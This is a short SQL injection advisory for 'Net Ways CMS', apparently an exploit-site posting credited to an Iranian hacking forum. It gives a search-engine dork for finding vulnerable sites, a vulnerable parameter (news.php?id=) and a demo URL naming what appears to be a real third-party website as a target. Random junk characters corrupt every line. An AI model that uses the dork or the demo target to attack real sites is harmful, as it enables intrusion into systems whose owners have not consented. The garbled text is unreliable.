################################################################################??######## ) y B( d$ c: H0 V E, u ^
# & n8 p: b% {5 ^( `3 {
# Exploit Title : Net Ways Cms Sql Injection Vulnerability - f Y$ ]4 y# `' [% R7 g' k. S
#
6 b; W# }# f7 V6 \: O* K- h; s# Author : IrIsT.Ir
6 E, f- [; m0 d3 _) N#
, g/ G8 l5 \. F' I6 t# Discovered By : Am!r
# \! p; r6 n# v#
/ {4 H% ]% S# D* c s# Home : http://IrIsT.Ir/forum 6 }. A, I5 p: B% [) p4 v- B4 q
# 1 T1 L: C1 |# G
# Software Link : http://www.netways.com/ www.political-security.com4 {3 ? |! U, Z
#
0 f8 i' H& W3 N( ^. q: t# Security Risk : High 3 P- K- e H6 V6 o0 x7 S I" ]% Z
# * j5 E% z. k" T2 A+ K
# Version : All Version
3 s7 @: b( Y- l# * J; ^: P+ v! S! O/ G
# Tested on : GNU/Linux Ubuntu - Windows Server - win7 7 x4 f6 K) N; ]) `6 k: k
# . R. I6 c) ]0 W$ x/ O' [% z
# Dork : intext:"Designed & developed by NetWays"
3 f. d" t" X" d0 N, i# ; K- [% C: V+ L9 k- v
################################################################################??########
/ Z) [9 w. d0 g# ]" {( I: ]#
' Y9 n: \( x4 Y# W1 n% i; ^# Expl0iTs :
/ U3 f4 L: z2 R. B2 {) o#
9 P5 m. U1 X7 c0 e0 _2 u' o d# http://target.com/news.php?id=[Sql] & s8 z+ H) d3 t0 {& t# x& w
#
8 o. k7 L, @: h% ^& ^# ! P* n$ v5 M/ v5 x- N0 k
# D3mo :
6 X2 v! Q8 \: v, f& M4 C#
/ ?" J2 S7 m: Y7 k) z2 Y) ]; f. A0 W# http://compagnieparento.com/news.php?id=7[Sql] + ~6 `/ G; ?" [ C7 P! [
#
2 U; T, B# T) r* l################################################################################??######## 5 t' I* z' L( |5 e" E
# : _& M& w2 l. f1 i
# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
" j7 i( E h) m8 D0 _2 L# 5 h# C1 I) w3 ^9 M
# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r ) q- `1 l4 r9 f/ n& K4 _5 D+ j" Z
# 5 Y* Q' X, u4 q+ }! q* ]. }4 O" C
# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum + Y: a: q( w1 k; o9 n" d [
#
P3 b- Y: `8 e0 J" Y) d################################################################################??######## |